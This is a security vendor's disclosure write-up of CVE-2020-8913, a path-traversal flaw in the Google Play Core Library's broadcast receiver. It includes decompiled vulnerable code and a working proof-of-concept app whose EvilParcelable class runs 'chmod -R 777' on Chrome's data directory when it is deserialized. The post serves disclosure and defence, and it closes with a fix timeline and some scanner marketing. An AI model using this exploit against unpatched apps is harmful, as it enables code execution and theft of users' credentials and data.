/ ANDROID, GOOGLE PLAY CORE LIBRARY, CODE EXECUTION

Oversecured automatically discovers persistent code execution in the Google Play Core Library

The Google Play Core Library is a popular library for Android that allows updates to various parts of an app to be delivered at runtime without the participation of the user, via the Google API. It can also be used to reduce the size of the main apk file by loading resources optimized for a particular device and settings (localization, image dimensions, processor architecture, dynamic modules) instead of storing dozens of different possible versions. The vulnerability we discovered made it possible to add executable modules to any apps using the library, meaning arbitrary code could be executed within them. An attacker who had a malware app installed on the victim’s device could steal users’ login details, passwords, and financial details, and read their mail.

Do you want to check your mobile apps for such types of vulnerabilities? Oversecured mobile apps scanner provides an automatic solution that helps to detect vulnerabilities in Android and iOS mobile apps. You can integrate Oversecured into your development process and check every new line of your code to ensure your users are always protected.

Start securing your apps by starting a free 2-week trial from Quick Start, or you can book a call with our team or contact us to explore more.

Introduction

Experts at Oversecured’s scanning kernel development department tested an update on several popular apps and discovered that something interesting had triggered the scanner. In many cases, we uncovered Theft of arbitrary files and Overwriting arbitrary files vulnerabilities in the Google Play Core library’s source code. Below we present a listing of the vulnerability from the report:

vulnerability

An exploit was written to steal arbitrary files, and a draft report was written to send to Google. Subsequently, the scope for developing the attack was investigated. As a result, the updated exploit made it possible to substitute executable files and achieve the execution of arbitrary code. The testing took place on the Google Chrome app.

Fragment of the vulnerable code

The Google Chrome app was decompiled with the deobfuscation option set, and fragments of the resulting code are presented below.

An unprotected broadcast receiver in the file com/google/android/play/core/splitinstall/C3748l.java allows third-party apps to send specially crafted intents into it, forcing a vulnerable app to copy arbitrary files to arbitrary locations specified in the parameter split_id which is vulnerable to path-traversal.

Registration of the unprotected broadcast receiver in the file com/google/android/play/core/splitinstall/C3748l.java

private C3748l(Context context, C3741e eVar) {
    super(new ae("SplitInstallListenerRegistry"), new IntentFilter("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService"), context);

File com/google/android/play/core/listener/C3718a.java

protected C3718a(ae aeVar, IntentFilter intentFilter, Context context) {
    this.f22595a = aeVar;
    this.f22596b = intentFilter; // intent filter with action `com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService`
    this.f22597c = context;
}

private final void m15347a() {
    if ((this.f22600f || !this.f22598d.isEmpty()) && this.f22599e == null) {
        this.f22599e = new C3719b(this, 0);
        this.f22597c.registerReceiver(this.f22599e, this.f22596b); // registration of unprotected broadcast receiver

allows third-party apps installed on the same device to broadcast arbitrary data here.

The file com/google/android/play/core/splitinstall/SplitInstallSessionState.java processes the message received

public static SplitInstallSessionState m15407a(Bundle bundle) {
    return new SplitInstallSessionState(bundle.getInt("session_id"), bundle.getInt("status"), bundle.getInt("error_code"), bundle.getLong("bytes_downloaded"), bundle.getLong("total_bytes_to_download"), bundle.getStringArrayList("module_names"), bundle.getStringArrayList("languages"), (PendingIntent) bundle.getParcelable("user_confirmation_intent"), bundle.getParcelableArrayList("split_file_intents")); // `split_file_intents` will be parsed
}

In the file com/google/android/play/core/internal/ab.java the library copies content from the URI from split_file_intents into the unverified-splits directory under the name split_id, which is subject to path-traversal due to the absence of validation

for (Intent next : list) {
    String stringExtra = next.getStringExtra("split_id");
    File a = this.f22543b.mo32067a(stringExtra); // path traversal from `/data/user/0/{package_name}/files/splitcompat/{id}/unverified-splits/`
    if (!a.exists() && !this.f22543b.mo32067b(stringExtra).exists()) {
        bufferedInputStream = new BufferedInputStream(new FileInputStream(this.f21840a.getContentResolver().openFileDescriptor(next.getData(), "r").getFileDescriptor())); // data of `split_file_intents` intents
        fileOutputStream = new FileOutputStream(a);
        byte[] bArr = new byte[4096];
        while (true) {
            int read = bufferedInputStream.read(bArr);
            if (read <= 0) {
                break;
            }   
            fileOutputStream.write(bArr, 0, read);

After further careful research, it emerged that the verified-splits folder contains verified apks with the current app’s signature, which are no longer verified in the future. When a file in that folder starts with a config. prefix, it will be added to the app’s runtime ClassLoader automatically. Using that weakness, the attacker can create a class implementing e.g. the Parcelable interface and containing malicious code and send their instances to the affected app, meaning the createFromParcel() method will be executed in their context during deserialization leading to local code execution.

Proof of Concept

A Proof of Concept was created for the Google Chrome app: it executes the command chmod -R 777 /data/user/0/com.android.chrome in the context of the vulnerable app. It first launches the app’s main activity, as a result of which an unprotected receiver is registered in the Google Play Core library code. 3 seconds later it sends a command to the receiver, which causes the affected app to be added in its entirety to the default ClassResolver. After 5 seconds the attacking app sends the EvilParcelable object, which automatically executes the command on being deserialized. Deserialization happens automatically, due to the way Android works. When a component receives an Intent, all attached objects are deserialized on receipt of a value or state (the Intent.hasExtra(name) method).

public static final String APP = "com.android.chrome";

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent launchIntent = getPackageManager().getLaunchIntentForPackage(APP);
    startActivity(launchIntent);

    new Handler().postDelayed(() -> {
        Intent split = new Intent();
        split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir));
        split.putExtra("split_id", "../verified-splits/config.test");

        Bundle bundle = new Bundle();
        bundle.putInt("status", 3);
        bundle.putParcelableArrayList("split_file_intents", new ArrayList<Parcelable>(Arrays.asList(split)));

        Intent intent = new Intent("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService");
        intent.setPackage(APP);
        intent.putExtra("session_state", bundle);
        sendBroadcast(intent);
    }, 3000);

    new Handler().postDelayed(() -> {
        startActivity(launchIntent.putExtra("x", new EvilParcelable()));
    }, 5000);
}

Code for the class that executes the command under the attacker’s control on deserialization

package oversecured.poc;

import android.os.Parcelable;

public class EvilParcelable implements Parcelable {
    public static final Parcelable.Creator<EvilParcelable> CREATOR = new Parcelable.Creator<EvilParcelable>() {
        public EvilParcelable createFromParcel(android.os.Parcel parcel) {
            exploit();
            return null;
        }

        public EvilParcelable[] newArray(int i) {
            exploit();
            return null;
        }

        private void exploit() {
            try {
                Runtime.getRuntime().exec("chmod -R 777 /data/user/0/" + MainActivity.APP).waitFor();
            } catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    };

    public int describeContents() { return 0; }
    public void writeToParcel(android.os.Parcel parcel, int i) {}
}

Conclusion

This vulnerability was assessed by Google as highly dangerous. It meant many popular apps, including Google Chrome, were vulnerable to arbitrary code execution. This could lead to leaks of users’ credentials and financial details, including credit card history; to interception and falsification of their browser history, cookie files, etc. To remove it, developers should update the Google Play Core library to the latest version and users should update all their apps.

Timeline
02/26/2020 - Scanner triggered, first exploit to steal arbitrary files created
02/27/2020 - Vulnerability studied in greater detail, exploit to execute arbitrary code created, information sent to Google
04/06/2020 - Google confirmed the vulnerability has been fixed
07/22/2020 - Google assigned CVE-2020-8913

Protect your apps today!

It can be challenging to keep track of security issues that appear daily during the app development process. Drop us a line and we'll help you automate this process internally, saving tons of resources with Oversecured.